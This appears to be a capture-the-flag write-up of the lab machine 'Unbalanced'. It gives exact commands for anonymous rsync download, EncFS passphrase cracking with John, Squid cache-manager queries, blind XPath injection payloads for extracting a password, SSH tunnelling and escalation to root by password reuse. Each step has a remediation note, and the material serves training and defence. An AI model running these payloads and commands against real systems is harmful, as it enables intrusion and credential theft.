Unbalanced
Summary
I scanned Conquest Unbalanced ($TARGET) and discovered three services: SSH, an rsync daemon, and a Squid HTTP proxy. The rsync daemon accepted anonymous connections and exposed an EncFS-encrypted Squid configuration backup; cracking the encryption passphrase with a common wordlist revealed the Squid management password and evidence of a private intranet application reachable only through the proxy.
Querying Squid's built-in management interface with the recovered password exposed the private IP addresses of hidden backend servers, and blind XPath injection in their PHP login form allowed user 'bryan's password to be extracted character by character. An SSH session as bryan surfaced a locally-bound Pi-hole Docker administration console; a world-readable provisioning script on the host stored the Pi-hole admin password in plaintext, and that same password had been reused identically as the host operating-system root account password: a single su command completed the takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export INTERNAL_HOST2="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for bryan>"
export PASSWORD2="<the-password-you-recovered, for root>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 2
Service-version scan of the three open ports.
$ nmap -Pn -sV -p22,873,3128 $TARGETList rsync modules advertised by the daemon.
$ nmap -Pn -p873 --script rsync-list-modules $TARGETExact commands 2
List all rsync modules available without credentials.
$ rsync rsync://$TARGET/Download the full conf_backups module to a local directory.
$ rsync -av rsync://$TARGET/conf_backups/ ./conf_backups/FixRequire authentication for all rsync modulesHigh
Exact commands 4
Extract the EncFS key-derivation parameters as a John-compatible hash.
$ python3 /usr/share/john/encfs2john.py ./conf_backups > encfs.hashCrack the passphrase offline; yields '$PASSWORD4'.
$ john --wordlist=/usr/share/wordlists/rockyou.txt encfs.hashMount the decrypted volume at ./clear using the cracked passphrase.
$ printf "$PASSWORD4\n" | encfs --stdinpass $(pwd)/conf_backups $(pwd)/clearExtract the management password and internal host references from the recovered config.
$ grep -E 'cachemgr_passwd|intranet|http_access' ./clear/squid.confFixEliminate plaintext credentials from backup archives and use strong encryption passphrasesHigh
Exact commands 3
Query Squid's DNS cache via the management API; reveals internal backend IPs in the $INTERNAL_HOST2/24 range.
$ curl -u ":$PASSWORD5" http://$TARGET:3128/squid-internal-mgr/fqdncacheConfirm intranet access through the Squid proxy; Squid resolves the hostname internally.
$ curl -x http://$TARGET:3128 http://intranet.unbalanced.htb/Reach host1 directly (bypassing the load balancer) through the Squid proxy; returns the vulnerable login form.
$ curl -x http://$TARGET:3128 http://$INTERNAL_HOST/intranet.phpFixRestrict Squid's cache-manager interface to localhost onlyMedium
Exact commands 3
True-branch oracle: a large byte count confirms the XPath tautology authenticated as bryan.
$ curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=1 or 'a'='a&Password=x" http://$INTERNAL_HOST/intranet.phpFalse-branch oracle: a small byte count confirms the contradiction returned a login error.
$ curl -x http://$TARGET:3128 -s -o /dev/null -w '%{size_download}' -d "Username=bryan' and 1=2 or 'a'='b&Password=x" http://$INTERNAL_HOST/intranet.phpScripted substring() oracle: for each position 1-30 and each character in the charset, POST Username="bryan' and substring(Password,POS,1)='CHAR' or 'a'='b" through proxy http://$TARGET:3128 to http://$INTERNAL_HOST/intranet.php; treat response length >500 bytes as the true branch; accumulate and print the recovered password. Yields '$PASSWORD'.
$ python3 xpath_brute.pyFixUse parameterised queries in the intranet login form to prevent XPath injectionCritical
Exact commands 2
Open SSH session as bryan and read the user flag (<user.txt>).
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'id; hostname; cat /home/bryan/user.txt'
uid=1000(bryan)Read bryan's note file; reveals the Pi-hole admin console bound to 127.0.0.1:8080.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET 'cat ~/TODO'Exact commands 3
Tunnel the Pi-hole admin console to my port 18081.
$ ssh -f -N -L 18081:127.0.0.1:8080 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGETFrom bryan's SSH session: locate world-readable Pi-hole provisioning scripts on the host.
$ find / -name 'pihole_config.sh' -perm -o+r 2>/dev/nullRead the plaintext script; reveals the admin password in a WEBPASSWORD or similar variable.
$ cat /root/pihole_config.shFixRestrict file permissions on scripts and config files that contain service credentialsHigh
Exact commands 1
Pipe the discovered Pi-hole admin password to su - root from a fresh SSH session; reads the root flag (<root.txt>).
$ sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null bryan@$TARGET "printf '%s\n' '$PASSWORD2' | su - root -c 'id; hostname; cat /root/root.txt'"
uid=0(root)FixUse a unique password for each service and OS account. Never reuse credentialsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) |
| 873/tcp | rsync |
| 3128/tcp | http-proxy Squid http proxy 4.6 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.